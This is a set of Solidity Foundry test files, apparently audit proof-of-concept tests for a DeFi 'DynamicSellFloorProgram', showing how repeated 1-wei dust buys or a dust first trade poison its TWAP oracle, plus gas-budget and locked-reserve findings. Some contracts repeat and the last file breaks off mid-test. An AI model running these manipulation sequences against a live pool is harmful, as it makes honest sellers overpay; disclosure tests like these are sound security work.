// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import {DynamicSellFloorProgram} from "src/DynamicSellFloorProgram.sol";
import {ProgramTypes} from "src/IClausTradeProgram.sol";

/// Dust buys (1 wei ETH in, 1 CLAUS-wei out) each record a 1e18 "execution price" that the
/// per-observation clamp only limits to +10%. 20 of them in one block lift lastPrice ~6.7x and
/// the TWAP follows, so an honest sell at the true, unchanged price pays the full MAX_EXTRA.
contract TwapInflationTest is Test {
    address constant GOVERNANCE = 0x180eAE784dEe739FBab432B06f78bF9a98Aae334;
    address constant DRAW = 0xF54c2f80c7A745C7b73F6c2035B7cAB87672f0A0;
    address constant PM = 0x000000000004444c5dc75cB358380D2e3dE08A90;
    address adapter = address(0xADA);
    DynamicSellFloorProgram p;
    uint256 nextId = 1;

    // CLAUS per ETH = 1024 => sqrtPriceX96 = 32 * 2^96; ETH wei per 1e18 CLAUS = 1e18/1024.
    uint160 constant SQRT_P = uint160(32) << 96;
    uint256 constant P = 976562500000000;

    function setUp() public {
        vm.warp(1_800_000_000); // after BUY_HODL_END
        p = new DynamicSellFloorProgram();
        vm.etch(GOVERNANCE, hex"00");
        vm.etch(DRAW, hex"00");
        vm.etch(PM, hex"00");
        vm.mockCall(GOVERNANCE, abi.encodeWithSignature("adapterFor(address)", address(p)), abi.encode(adapter));
        vm.mockCall(GOVERNANCE, abi.encodeWithSignature("approvedAdapter(address)", adapter), abi.encode(true));
        vm.mockCall(DRAW, abi.encodeWithSignature("startedAt()"), abi.encode(uint256(0)));
        vm.mockCall(DRAW, abi.encodeWithSignature("endsAt()"), abi.encode(uint256(1)));
        vm.mockCall(PM, abi.encodeWithSignature("transfer(address,uint256,uint256)"), abi.encode(true));
    }

    function _trade(bool buy, int128 a0, int128 a1, uint256 moduleFee) internal {
        ProgramTypes.Trade memory t = ProgramTypes.Trade({
            id: nextId++, module: adapter, sender: address(0xBEEF), buy: buy,
            amount0: a0, amount1: a1, feeEth: 0, moduleFeeEth: moduleFee,
            blockNumber: block.number, timestamp: block.timestamp, dataHash: keccak256("")
        });
        vm.prank(adapter);
        p.onTrade(t, "");
    }

    function _honestHistory() internal {
        // Two days of hourly honest trades at the true price P (1 ETH <-> 1024 CLAUS).
        for (uint256 i = 0; i < 49; i++) {
            _trade(true, 1e18, -1024e18, 0);
            vm.warp(block.timestamp + 1 hours);
        }
        (bool ok, uint256 twap) = p.averagePrice();
        assertTrue(ok);
        assertEq(twap, P);
        assertEq(p.spotPrice(SQRT_P), P);
        assertEq(p.sellExtra(SQRT_P), 0, "no surcharge while spot == TWAP");
    }

    function test_dustBuysInflateTwapAndChargeHonestSellers() public {
        _honestHistory();
        // Attacker: 20 exact-output buys of 1 CLAUS-wei, each paying 1 wei ETH (rounded up).
        for (uint256 i = 0; i < 20; i++) _trade(true, 1, -1, 0);
        emit log_named_uint("lastPrice / P (x1000)", uint256(p.lastPrice()) * 1000 / P);
        // Three hours pass with no other trade; the pool price never moved from P.
        vm.warp(block.timestamp + 3 hours);
        (, uint256 twap) = p.averagePrice();
        emit log_named_uint("twap / P (x1000)", twap * 1000 / P);
        uint256 extra = p.sellExtra(SQRT_P);
        emit log_named_uint("sellExtra pips at unchanged spot", extra);
        // Expected: spot equals the true average price, so honest sellers pay no surcharge.
        assertEq(extra, 0, "honest sell surcharged after 20 dust buys");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import {DynamicSellFloorProgram} from "src/DynamicSellFloorProgram.sol";
import {ProgramTypes, IProgram} from "src/IClausTradeProgram.sol";

// Minimal stand-ins for the hardcoded dependencies of ClausDrawFundingProgram.
contract GovMock {
    address public adapter;
    function set(address a) external { adapter = a; }
    function adapterFor(address) external view returns (address) { return adapter; }
    function approvedAdapter(address a) external view returns (bool) { return a == adapter; }
}
contract DrawMock {
    uint256 public startedAt; uint256 public endsAt;
    function set(uint256 s, uint256 e) external { startedAt = s; endsAt = e; }
}
contract ManagerMock {
    mapping(address => mapping(uint256 => uint256)) public balanceOf;
    function mint(address to, uint256 id, uint256 amount) external { balanceOf[to][id] += amount; }
    function transfer(address to, uint256 id, uint256 amount) external returns (bool) {
        balanceOf[msg.sender][id] -= amount; balanceOf[to][id] += amount; return true;
    }
}
contract FundMock { function fund(uint256) external {} }

/// The live adapter (ComputeProtectedProgram.quote) forwards at most 50,000 gas to the
/// program's quote and silently falls back to the default plan when it fails. After one
/// day of hourly trades (the minimum coverage the TWAP needs) averagePrice() walks ~24
/// cold checkpoint slots and the quote no longer fits, so the dynamic sell fee is never
/// applied through the real call path.
contract QuoteGasProofTest is Test {
    address constant GOVERNANCE = 0x180eAE784dEe739FBab432B06f78bF9a98Aae334;
    address constant DRAW = 0xF54c2f80c7A745C7b73F6c2035B7cAB87672f0A0;
    address constant DRAW_FUNDING = 0x8b2247B87e16D136A84C7C9968e63b82869F62f3;
    address constant BUY_HODL = 0x21596C8559Fc4Fa3f1fAcA9FCF70Fb23A0094C58;
    address constant MANAGER = 0x000000000004444c5dc75cB358380D2e3dE08A90;
    uint256 constant T0 = 1_800_000_000; // after BUY_HODL_END, draw already over
    uint256 constant ADAPTER_QUOTE_GAS = 50_000; // ComputeProtectedProgram.quote staticcall budget

    DynamicSellFloorProgram p;
    uint256 nextId = 1;
    // 1e6 CLAUS per ETH => 1e12 wei per 1e18 CLAUS; sqrtPriceX96 = sqrt(1e6) * 2^96
    uint160 constant SQRT_P = uint160(1000 * (1 << 96));

    function setUp() public {
        vm.warp(T0);
        p = new DynamicSellFloorProgram();
        vm.etch(GOVERNANCE, address(new GovMock()).code); GovMock(GOVERNANCE).set(address(this));
        vm.etch(DRAW, address(new DrawMock()).code); DrawMock(DRAW).set(0, 0);
        vm.etch(MANAGER, address(new ManagerMock()).code);
        vm.etch(DRAW_FUNDING, address(new FundMock()).code);
        vm.etch(BUY_HODL, address(new FundMock()).code);
    }

    function deliver(bool buy, int128 a0, int128 a1, uint256 moduleFee) internal {
        ProgramTypes.Trade memory t = ProgramTypes.Trade(
            nextId++, address(this), address(0xBEEF), buy, a0, a1, moduleFee, moduleFee, block.number, block.timestamp, keccak256("")
        );
        ManagerMock(MANAGER).mint(address(p), 0, moduleFee);
        assertEq(p.onTrade(t, ""), IProgram.onTrade.selector);
    }

    function quoteLikeAdapter(uint160 sqrtP) internal view returns (bool ok, uint256[6] memory a) {
        bytes memory input = abi.encodeCall(IProgram.quote, (address(0xBEEF), false, -1e18, sqrtP, uint128(1e24), ""));
        address target = address(p);
        assembly ("memory-safe") {
            ok := staticcall(ADAPTER_QUOTE_GAS, target, add(input, 32), mload(input), a, 192)
            ok := and(ok, eq(returndatasize(), 192))
        }
    }

    function test_quoteFitsAdapterBudgetOnceTwapIsValid() public {
        // One honest sell per hour for two days at a constant price of 1e12 wei / 1e18 CLAUS.
        for (uint256 i = 0; i < 48; i++) {
            deliver(false, int128(1e12), -int128(1e18), 0);
            vm.warp(block.timestamp + 1 hours);
        }
        (bool okAvg, uint256 twap) = p.averagePrice();
        assertTrue(okAvg, "twap should be available after two days");
        assertEq(twap, 1e12);

        // Spot 15% below the TWAP (more CLAUS per ETH => larger sqrtPriceX96): full extra applies.
        uint160 lowSqrtP = uint160(uint256(SQRT_P) * 108466 / 100000); // ETH per CLAUS = 0.85 * 1e12
        assertEq(p.sellExtra(lowSqrtP), p.MAX_EXTRA(), "unbounded-gas view agrees the extra applies");

        // A fresh transaction: every storage slot is cold, exactly as in a real swap.
        vm.cool(address(p));
        vm.cool(DRAW);
        (bool ok, uint256[6] memory a) = quoteLikeAdapter(lowSqrtP);
        assertTrue(ok, "quote must succeed within the adapter's 50k gas budget");
        assertEq(a[5], 2000 + p.MAX_EXTRA(), "module share must carry the dynamic sell extra");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import {DynamicSellFloorProgram} from "src/DynamicSellFloorProgram.sol";
import {ProgramTypes, IProgram} from "src/IClausTradeProgram.sol";

contract GovMock {
    address public adapter;
    function set(address a) external { adapter = a; }
    function adapterFor(address) external view returns (address) { return adapter; }
    function approvedAdapter(address a) external view returns (bool) { return a == adapter; }
}
contract DrawMock {
    uint256 public startedAt; uint256 public endsAt;
    function set(uint256 s, uint256 e) external { startedAt = s; endsAt = e; }
}
contract ManagerMock {
    mapping(address => mapping(uint256 => uint256)) public balanceOf;
    function mint(address to, uint256 id, uint256 amount) external { balanceOf[to][id] += amount; }
    function transfer(address to, uint256 id, uint256 amount) external returns (bool) {
        balanceOf[msg.sender][id] -= amount; balanceOf[to][id] += amount; return true;
    }
}
contract FundMock { function fund(uint256) external {} }

/// _observe() clamps each observation to +-10% of lastPrice but applies the clamp per
/// receipt, not per unit of time, and accepts any trade whose two deltas are non-zero.
/// Twenty exact-output buys of 1 CLAUS-wei for 1 wei ETH (observed price 1e18, clamped
/// to +10% each) in one block lift lastPrice 6.7x. The TWAP then extrapolates that price
/// until the next trade, so an unchanged pool price reads as deeply "below TWAP" and
/// every seller pays MAX_EXTRA.
contract DustOracleProofTest is Test {
    address constant GOVERNANCE = 0x180eAE784dEe739FBab432B06f78bF9a98Aae334;
    address constant DRAW = 0xF54c2f80c7A745C7b73F6c2035B7cAB87672f0A0;
    address constant DRAW_FUNDING = 0x8b2247B87e16D136A84C7C9968e63b82869F62f3;
    address constant BUY_HODL = 0x21596C8559Fc4Fa3f1fAcA9FCF70Fb23A0094C58;
    address constant MANAGER = 0x000000000004444c5dc75cB358380D2e3dE08A90;
    uint256 constant T0 = 1_800_000_000;

    DynamicSellFloorProgram p;
    uint256 nextId = 1;
    uint160 constant SQRT_P = uint160(1000 * (1 << 96)); // 1e12 wei per 1e18 CLAUS

    function setUp() public {
        vm.warp(T0);
        p = new DynamicSellFloorProgram();
        vm.etch(GOVERNANCE, address(new GovMock()).code); GovMock(GOVERNANCE).set(address(this));
        vm.etch(DRAW, address(new DrawMock()).code); DrawMock(DRAW).set(0, 0);
        vm.etch(MANAGER, address(new ManagerMock()).code);
        vm.etch(DRAW_FUNDING, address(new FundMock()).code);
        vm.etch(BUY_HODL, address(new FundMock()).code);
    }

    function deliver(bool buy, int128 a0, int128 a1, uint256 moduleFee) internal {
        ProgramTypes.Trade memory t = ProgramTypes.Trade(
            nextId++, address(this), address(0xBEEF), buy, a0, a1, moduleFee, moduleFee, block.number, block.timestamp, keccak256("")
        );
        ManagerMock(MANAGER).mint(address(p), 0, moduleFee);
        assertEq(p.onTrade(t, ""), IProgram.onTrade.selector);
    }

    function test_dustTradesCannotForceMaxSellFee() public {
        // Three days of honest hourly sells at a constant price.
        for (uint256 i = 0; i < 72; i++) {
            deliver(false, int128(1e12), -int128(1e18), 0);
            vm.warp(block.timestamp + 1 hours);
        }
        (bool okAvg, uint256 twap) = p.averagePrice();
        assertTrue(okAvg); assertEq(twap, 1e12);
        assertEq(p.sellExtra(SQRT_P), 0, "no extra while spot equals TWAP");

        // Attacker: 20 exact-output buys of 1 CLAUS-wei, each costing 1 wei of ETH, in one block.
        for (uint256 i = 0; i < 20; i++) deliver(true, -1, 1, 0);
        assertGt(p.lastPrice(), 6 * 1e12, "lastPrice lifted 6.7x by dust");

        // Three quiet hours later the pool price is still exactly 1e12.
        vm.warp(block.timestamp + 3 hours);
        uint256 extra = p.sellExtra(SQRT_P);
        // Expected: (close to) zero, the market did not move. Actual: MAX_EXTRA (27000 pips).
        assertLt(extra, p.MAX_EXTRA() / 10, "dust receipts must not move the sell fee to its maximum");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import {DynamicSellFloorProgram} from "src/DynamicSellFloorProgram.sol";
import {ProgramTypes, IProgram} from "src/IClausTradeProgram.sol";

contract GovMock {
    address public adapter;
    function set(address a) external { adapter = a; }
    function adapterFor(address) external view returns (address) { return adapter; }
    function approvedAdapter(address a) external view returns (bool) { return a == adapter; }
}
contract DrawMock {
    uint256 public startedAt; uint256 public endsAt;
    function set(uint256 s, uint256 e) external { startedAt = s; endsAt = e; }
}
contract ManagerMock {
    mapping(address => mapping(uint256 => uint256)) public balanceOf;
    function mint(address to, uint256 id, uint256 amount) external { balanceOf[to][id] += amount; }
    function transfer(address to, uint256 id, uint256 amount) external returns (bool) {
        balanceOf[msg.sender][id] -= amount; balanceOf[to][id] += amount; return true;
    }
}
contract FundMock { function fund(uint256) external {} }

/// The only outflow of floorReserve is _maybeRelease(), which requires averagePrice() to be
/// fresh (a receipt within STALE_AFTER = 2 days). Once the host installs the next program the
/// adapter never delivers another receipt here, lastTime freezes, and every ETH claim in
/// floorReserve is locked forever: no owner, no sweep, no stale-mode release.
contract StrandedReserveProofTest is Test {
    address constant GOVERNANCE = 0x180eAE784dEe739FBab432B06f78bF9a98Aae334;
    address constant DRAW = 0xF54c2f80c7A745C7b73F6c2035B7cAB87672f0A0;
    address constant DRAW_FUNDING = 0x8b2247B87e16D136A84C7C9968e63b82869F62f3;
    address constant BUY_HODL = 0x21596C8559Fc4Fa3f1fAcA9FCF70Fb23A0094C58;
    address constant MANAGER = 0x000000000004444c5dc75cB358380D2e3dE08A90;
    address constant BURN_HOOK = 0x37Bfb8AC7C960E558657871D41Ca70E07e7DbfFf;
    uint256 constant T0 = 1_800_000_000;

    DynamicSellFloorProgram p;
    uint256 nextId = 1;

    function setUp() public {
        vm.warp(T0);
        p = new DynamicSellFloorProgram();
        vm.etch(GOVERNANCE, address(new GovMock()).code); GovMock(GOVERNANCE).set(address(this));
        vm.etch(DRAW, address(new DrawMock()).code); DrawMock(DRAW).set(0, 0);
        vm.etch(MANAGER, address(new ManagerMock()).code);
        vm.etch(DRAW_FUNDING, address(new FundMock()).code);
        vm.etch(BUY_HODL, address(new FundMock()).code);
    }

    function deliver(bool buy, int128 a0, int128 a1, uint256 moduleFee) internal {
        ProgramTypes.Trade memory t = ProgramTypes.Trade(
            nextId++, address(this), address(0xBEEF), buy, a0, a1, moduleFee, moduleFee, block.number, block.timestamp, keccak256("")
        );
        ManagerMock(MANAGER).mint(address(p), 0, moduleFee);
        assertEq(p.onTrade(t, ""), IProgram.onTrade.selector);
    }

    function test_reserveRemainsRecoverableAfterProgramIsRetired() public {
        // Two days of hourly sells, each leaving 0.01 ETH of module share in the reserve.
        for (uint256 i = 0; i < 48; i++) {
            deliver(false, int128(1e12), -int128(1e18), 0.01 ether);
            vm.warp(block.timestamp + 1 hours);
        }
        assertEq(p.floorReserve(), 0.48 ether);
        assertEq(ManagerMock(MANAGER).balanceOf(address(p), 0), 0.48 ether);

        // The host switches to the next program: no receipt ever reaches this one again.
        vm.warp(block.timestamp + 30 days);
        uint256 released = p.releaseFloor();
        (uint256 amount,) = p.releasable();

        // Expected: the reserve can still be moved toward its only destination (the burn hook).
        // Actual: averagePrice() is stale forever, releasable() is 0, and 0.48 ETH is locked.
        assertEq(amount, released);
        assertGt(released, 0, "retired program must still be able to release its reserve");
        assertGt(ManagerMock(MANAGER).balanceOf(BURN_HOOK, 0), 0);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {DynamicSellFloorProgram} from "src/DynamicSellFloorProgram.sol";
import {ProgramTypes} from "src/IClausTradeProgram.sol";

/// Finding: _observe moves lastPrice by up to 10% per receipt regardless of trade size
/// and regardless of elapsed time. Thirty 1-wei exact-output buys delivered in one block
/// (each priced 1e18 by integer rounding, each clamped to +10%) lift the anchor 17x.
/// averagePrice() extrapolates that anchor to now, so an hour later the TWAP reads 33%
/// above an unchanged spot and every honest sell is quoted the full MAX_EXTRA.
contract StepManipulationTest is Test {
    address constant GOVERNANCE = 0x180eAE784dEe739FBab432B06f78bF9a98Aae334;
    address constant DRAW = 0xF54c2f80c7A745C7b73F6c2035B7cAB87672f0A0;
    address constant POOL_MANAGER = 0x000000000004444c5dc75cB358380D2e3dE08A90;
    address constant adapter = address(0xADA9);
    uint160 constant SQRT_P = uint160(uint256(1000) << 96); // 1 ETH = 1e6 CLAUS
    uint256 constant REAL_PRICE = 1e12;

    DynamicSellFloorProgram p;
    uint256 nextId = 1;

    function setUp() public {
        vm.warp(1_700_000_000);
        p = new DynamicSellFloorProgram();
        vm.etch(GOVERNANCE, hex"00");
        vm.etch(DRAW, hex"00");
        vm.etch(POOL_MANAGER, hex"00");
        vm.mockCall(GOVERNANCE, abi.encodeWithSignature("adapterFor(address)", address(p)), abi.encode(adapter));
        vm.mockCall(GOVERNANCE, abi.encodeWithSignature("approvedAdapter(address)", adapter), abi.encode(true));
        vm.mockCall(DRAW, abi.encodeWithSignature("startedAt()"), abi.encode(uint256(0)));
        vm.mockCall(DRAW, abi.encodeWithSignature("endsAt()"), abi.encode(uint256(0)));
        vm.mockCall(POOL_MANAGER, abi.encodeWithSignature("transfer(address,uint256,uint256)"), abi.encode(true));
    }

    function deliver(int128 amount0, int128 amount1, uint256 moduleFee) internal {
        bytes memory data = "";
        ProgramTypes.Trade memory t = ProgramTypes.Trade({
            id: nextId++, module: adapter, sender: address(0xBEEF), buy: amount0 < 0,
            amount0: amount0, amount1: amount1, feeEth: moduleFee * 10,
            moduleFeeEth: moduleFee, blockNumber: block.number, timestamp: block.timestamp,
            dataHash: keccak256(data)
        });
        vm.prank(adapter);
        p.onTrade(t, data);
    }

    function honestTrade() internal { deliver(-1e16, 1e22, 1e15); }

    function test_thirtyDustBuysInOneBlock_inflateTwap_sellersOverpay() public {
        // Two days of hourly honest history at the real price; oracle is healthy.
        for (uint256 h = 0; h <= 48; h++) { honestTrade(); vm.warp(block.timestamp + 1 hours); }
        (bool ok, uint256 twap) = p.averagePrice();
        assertTrue(ok);
        assertEq(twap, REAL_PRICE);
        assertEq(p.sellExtra(SQRT_P), 0);

        // Attacker: 30 exact-output buys of 1 wei CLAUS, 1 wei ETH each, same block.
        for (uint256 i = 0; i < 30; i++) deliver(-1, 1, 0);
        // 1e12 * 1.1^30 ~= 1.74e13
        emit log_named_uint("lastPrice after 30 wei of buys (real 1e12)", p.lastPrice());

        // Nobody trades for an hour; extrapolation of the anchor dominates the 49h window.
        vm.warp(block.timestamp + 1 hours);
        (ok, twap) = p.averagePrice();
        assertTrue(ok);
        emit log_named_uint("TWAP one hour later (real 1e12)", twap);
        emit log_named_uint("sellExtra at real spot (expected 0)", p.sellExtra(SQRT_P));

        // Honest seller at the unchanged real spot is quoted the full surcharge.
        uint256[6] memory a = p.quote(address(0xBEEF), false, -1e22, SQRT_P, uint128(1e24), "");
        assertEq(a[5], 2000, "sell at unchanged spot should pay the base module share only");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {DynamicSellFloorProgram} from "src/DynamicSellFloorProgram.sol";
import {ProgramTypes} from "src/IClausTradeProgram.sol";

/// Finding: the first observation in _observe is not clamped and observations are not
/// weighted by size, so a single 1-wei receipt (1 wei ETH for 1 wei CLAUS, a legal
/// exact-output buy rounded up by the pool) seeds lastPrice at 1e18 wei per 1e18 CLAUS
/// while the real pool price is 1e12. Honest trades can only pull it down 10% each, so
/// the TWAP stays far above spot and every honest sell is quoted the full MAX_EXTRA.
contract OracleSeedTest is Test {
    address constant GOVERNANCE = 0x180eAE784dEe739FBab432B06f78bF9a98Aae334;
    address constant DRAW = 0xF54c2f80c7A745C7b73F6c2035B7cAB87672f0A0;
    address constant adapter = address(0xADA9);
    // Real pool price: 1 ETH = 1e6 CLAUS => spotPrice == 1e12 wei per 1e18 CLAUS.
    uint160 constant SQRT_P = uint160(uint256(1000) << 96);
    uint256 constant REAL_PRICE = 1e12;

    DynamicSellFloorProgram p;
    uint256 nextId = 1;

    function setUp() public {
        vm.warp(1_700_000_000); // before BUY_HODL_START, draw window mocked closed
        p = new DynamicSellFloorProgram();
        vm.etch(GOVERNANCE, hex"00");
        vm.etch(DRAW, hex"00");
        vm.mockCall(GOVERNANCE, abi.encodeWithSignature("adapterFor(address)", address(p)), abi.encode(adapter));
        vm.mockCall(GOVERNANCE, abi.encodeWithSignature("approvedAdapter(address)", adapter), abi.encode(true));
        vm.mockCall(DRAW, abi.encodeWithSignature("startedAt()"), abi.encode(uint256(0)));
        vm.mockCall(DRAW, abi.encodeWithSignature("endsAt()"), abi.encode(uint256(0)));
        // PoolManager ERC6909 claim transfer used by the floor release; always succeeds here.
        vm.etch(POOL_MANAGER, hex"00");
        vm.mockCall(POOL_MANAGER, abi.encodeWithSignature("transfer(address,uint256,uint256)"), abi.encode(true));
    }
    address constant POOL_MANAGER = 0x000000000004444c5dc75cB358380D2e3dE08A90;

    function deliver(int128 amount0, int128 amount1, uint256 moduleFee) internal {
        bytes memory data = "";
        ProgramTypes.Trade memory t = ProgramTypes.Trade({
            id: nextId++, module: adapter, sender: address(0xBEEF), buy: amount0 < 0,
            amount0: amount0, amount1: amount1, feeEth: moduleFee * 10,
            moduleFeeEth: moduleFee, blockNumber: block.number, timestamp: block.timestamp,
            dataHash: keccak256(data)
        });
        vm.prank(adapter);
        p.onTrade(t, data);
    }

    // Honest buy of 10_000 CLAUS for 0.01 ETH at exactly the real price.
    function honestTrade() internal { deliver(-1e16, 1e22, 1e15); }

    /// Control: with honest trades only, a sell at the real spot pays no extra.
    function test_honestHistory_noExtra() public {
        for (uint256 h = 0; h <= 48; h++) { honestTrade(); vm.warp(block.timestamp + 1 hours); }
        assertEq(p.lastPrice(), REAL_PRICE);
        assertEq(p.spotPrice(SQRT_P), REAL_PRICE);
        (bool ok, uint256 twap) = p.averagePrice();
        assertTrue(ok);
        assertEq(twap, REAL_PRICE);
        assertEq(p.sellExtra(SQRT_P), 0);
    }

    /// Failing on current code: one 1-wei receipt as the first observation poisons the oracle.
    function test_dustFirstReceipt_seedsOracle_sellersOverpay() public {
        // Attacker's first trade: exact-output buy of 1 wei CLAUS; pool rounds ETH in up to 1 wei.
        deliver(-1, 1, 0);
        emit log_named_uint("lastPrice after the 1-wei receipt (real 1e12)", p.lastPrice());

        // Two days of hourly honest trades at the real price follow.
        for (uint256 h = 0; h < 48; h++) { vm.warp(block.timestamp + 1 hours); honestTrade(); }

        (bool ok, uint256 twap) = p.averagePrice();
        assertTrue(ok);
        // Each honest trade can move the anchor at most 10%, so it is still ~1e18 * 0.9^48.
        emit log_named_uint("lastPrice after 48 honest trades (real 1e12)", p.lastPrice());
        emit log_named_uint("TWAP after 48 honest trades (real 1e12)", twap);
        emit log_named_uint("sellExtra at real spot (expected 0)", p.sellExtra(SQRT_P));

        // An honest seller quoting at the real spot must not pay the deficit surcharge.
        uint256[6] memory a = p.quote(address(0xBEEF), false, -1e22, SQRT_P, uint128(1e24), "");
        assertEq(a[5], 2000, "sell at unchanged spot should pay the base module share only");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {DynamicSellFloorProgram} from "src/DynamicSellFloorProgram.sol";
import {ProgramTypes} from "src/IClausTradeProgram.sol";

/// Finding: _observe moves lastPrice by up to 10% per receipt regardless of trade size
/// and regardless of elapsed time. Thirty 1-wei exact-output buys delivered in one block
/// (each priced 1e18 by integer rounding, each clamped to +10%) lift the anchor 17x.
/// averagePrice() extrapolates that anchor to now, so an hour later the TWAP reads 33%
/// above an unchanged spot and every honest sell is quoted the full MAX_EXTRA.
contract StepManipulationTest is Test {
    address constant GOVERNANCE = 0x180eAE784dEe739FBab432B06f78bF9a98Aae334;
    address constant DRAW = 0xF54c2f80c7A745C7b73F6c2035B7cAB87672f0A0;
    address constant POOL_MANAGER = 0x000000000004444c5dc75cB358380D2e3dE08A90;
    address constant adapter = address(0xADA9);
    uint160 constant SQRT_P = uint160(uint256(1000) << 96); // 1 ETH = 1e6 CLAUS
    uint256 constant REAL_PRICE = 1e12;

    DynamicSellFloorProgram p;
    uint256 nextId = 1;

    function setUp() public {
        vm.warp(1_700_000_000);
        p = new DynamicSellFloorProgram();
        vm.etch(GOVERNANCE, hex"00");
        vm.etch(DRAW, hex"00");
        vm.etch(POOL_MANAGER, hex"00");
        vm.mockCall(GOVERNANCE, abi.encodeWithSignature("adapterFor(address)", address(p)), abi.encode(adapter));
        vm.mockCall(GOVERNANCE, abi.encodeWithSignature("approvedAdapter(address)", adapter), abi.encode(true));
        vm.mockCall(DRAW, abi.encodeWithSignature("startedAt()"), abi.encode(uint256(0)));
        vm.mockCall(DRAW, abi.encodeWithSignature("endsAt()"), abi.encode(uint256(0)));
        vm.mockCall(POOL_MANAGER, abi.encodeWithSignature("transfer(address,uint256,uint256)"), abi.encode(true));
    }

    function deliver(int128 amount0, int128 amount1, uint256 moduleFee) internal {
        bytes memory data = "";
        ProgramTypes.Trade memory t = ProgramTypes.Trade({
            id: nextId++, module: adapter, sender: address(0xBEEF), buy: amount0 < 0,
            amount0: amount0, amount1: amount1, feeEth: moduleFee * 10,
            moduleFeeEth: moduleFee, blockNumber: block.number, timestamp: block.timestamp,
            dataHash: keccak256(data)
        });
        vm.prank(adapter);
        p.onTrade(t, data);
    }

    function honestTrade() internal { deliver(-1e16, 1e22, 1e15); }

    function test_thirtyDustBuysInOneBlock_inflateTwap_sellersOverpay() public {
        // Two days of hourly honest history at the real price; oracle is healthy.
        for (uint256 h = 0; h <= 48; h++) { honestTrade(); vm.warp(block.timestamp + 1 hours); }
        (bool ok, uint256 twap) = p.averagePrice();
        assertTrue(ok);
        assertEq(twap, REAL_PRICE);
        assertEq(p.sellExtra(SQRT_P), 0);

        // Attacker: 30 exact-output buys of 1 wei CLAUS, 1 wei ETH each, same block.
        for (uint256 i = 0; i < 30; i++) deliver(-1, 1, 0);
        // 1e12 * 1.1^30 ~= 1.74e13
        emit log_named_uint("lastPrice after 30 wei of buys (real 1e12)", p.lastPrice());

        // Nobody trades for an hour; extrapolation of the anchor dominates the 49h window.
        vm.warp(block.timestamp + 1 hours);
        (ok, twap) = p.averagePrice();
        assertTrue(ok);
        emit log_named_uint("TWAP one hour later (real 1e12)", twap);
        emit log_named_uint("sellExtra at real spot (expected 0)", p.sellExtra(SQRT_P));

        // Honest seller at the unchanged real spot is quoted the full surcharge.
        uint256[6] memory a = p.quote(address(0xBEEF), false, -1e22, SQRT_P, uint128(1e24), "");
        assertEq(a[5], 2000, "sell at unchanged spot should pay the base module share only");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {DynamicSellFloorProgram} from "src/DynamicSellFloorProgram.sol";
import {ProgramTypes} from "src/IClausTradeProgram.sol";

/// Finding: the first observation in _observe is not clamped and observations are not
/// weighted by size, so a single 1-wei receipt (1 wei ETH for 1 wei CLAUS, a legal
/// exact-output buy rounded up by the pool) seeds lastPrice at 1e18 wei per 1e18 CLAUS
/// while the real pool price is 1e12. Honest trades can only pull it down 10% each, so
/// the TWAP stays far above spot and every honest sell is quoted the full MAX_EXTRA.
contract OracleSeedTest is Test {
    address constant GOVERNANCE = 0x180eAE784dEe739FBab432B06f78bF9a98Aae334;
    address constant DRAW = 0xF54c2f80c7A745C7b73F6c2035B7cAB87672f0A0;
    address constant adapter = address(0xADA9);
    // Real pool price: 1 ETH = 1e6 CLAUS => spotPrice == 1e12 wei per 1e18 CLAUS.
    uint160 constant SQRT_P = uint160(uint256(1000) << 96);
    uint256 constant REAL_PRICE = 1e12;

    DynamicSellFloorProgram p;
    uint256 nextId = 1;

    function setUp() public {
        vm.warp(1_700_000_000); // before BUY_HODL_START, draw window mocked closed
        p = new DynamicSellFloorProgram();
        vm.etch(GOVERNANCE, hex"00");
        vm.etch(DRAW, hex"00");
        vm.mockCall(GOVERNANCE, abi.encodeWithSignature("adapterFor(address)", address(p)), abi.encode(adapter));
        vm.mockCall(GOVERNANCE, abi.encodeWithSignature("approvedAdapter(address)", adapter), abi.encode(true));
        vm.mockCall(DRAW, abi.encodeWithSignature("startedAt()"), abi.encode(uint256(0)));
        vm.mockCall(DRAW, abi.encodeWithSignature("endsAt()"), abi.encode(uint256(0)));
        // PoolManager ERC6909 claim transfer used by the floor release; always succeeds here.
        vm.etch(POOL_MANAGER, hex"00");
        vm.mockCall(POOL_MANAGER, abi.encodeWithSignature("transfer(address,uint256,uint256)"), abi.encode(true));
    }
    address constant POOL_MANAGER = 0x000000000004444c5dc75cB358380D2e3dE08A90;

    function deliver(int128 amount0, int128 amount1, uint256 moduleFee) internal {
        bytes memory data = "";
        ProgramTypes.Trade memory t = ProgramTypes.Trade({
            id: nextId++, module: adapter, sender: address(0xBEEF), buy: amount0 < 0,
            amount0: amount0, amount1: amount1, feeEth: moduleFee * 10,
            moduleFeeEth: moduleFee, blockNumber: block.number, timestamp: block.timestamp,
            dataHash: keccak256(data)
        });
        vm.prank(adapter);
        p.onTrade(t, data);
    }

    // Honest buy of 10_000 CLAUS for 0.01 ETH at exactly the real price.
    function honestTrade() internal { deliver(-1e16, 1e22, 1e15); }

    /// Control: with honest trades only, a sell at the real spot pays no extra.
    function test_honestHistory_noExtra() public {
        for (uint256 h = 0; h <= 48; h++) { honestTrade(); vm.warp(block.timestamp + 1 hours); }
        assertEq(p.lastPrice(), REAL_PRICE);
        assertEq(p.spotPrice(SQRT_P), REAL_PRICE);
        (bool ok, uint256 twap) = p.averagePrice();
        assertTrue(ok);
        assertEq(twap, REAL_PRICE);
        assertEq(p.sellExtra(SQRT_P), 0);
    }

    /// Failing on current code: one 1-wei receipt as the first observation poisons the oracle.
    function test_dustFirstReceipt_seedsOracle_sellersOverpay() public {
        // Attacker's first trade: exact-output buy of 1 wei CLAUS; pool rounds ETH in up to 1 wei.
        deliver(-1, 1, 0);
        emit log_named_uint("lastPrice after the 1-wei receipt (real 1e12)", p.lastPrice());

        // Two days of hourly honest trades at the real price follow.
